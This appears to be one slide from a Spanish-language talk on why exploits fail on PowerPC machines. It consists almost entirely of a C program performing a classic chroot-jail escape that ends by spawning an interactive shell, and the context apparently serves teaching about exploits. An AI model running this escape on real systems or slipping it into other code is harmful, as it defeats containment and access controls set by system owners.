First page Back Continue Last page Overview Graphics
Porque en mi PowerPC no corren los exploits...
#include <sys/types.h>
#include <sys/stat.h>
main() { int i; if (chdir("/") != 0) exit(1); mkdir("kk", 0777); if (chroot("kk") != 0) exit(1); for (i=0; i<50; i++) { if (chdir("..") != 0) exit(1); if (chmod("..", S_IXOTH) != 0) exit(1); } if (chroot(".") != 0) exit(1); execl("/bin/sh", "sh", "-i", (char *)0); exit(0); }
Notes: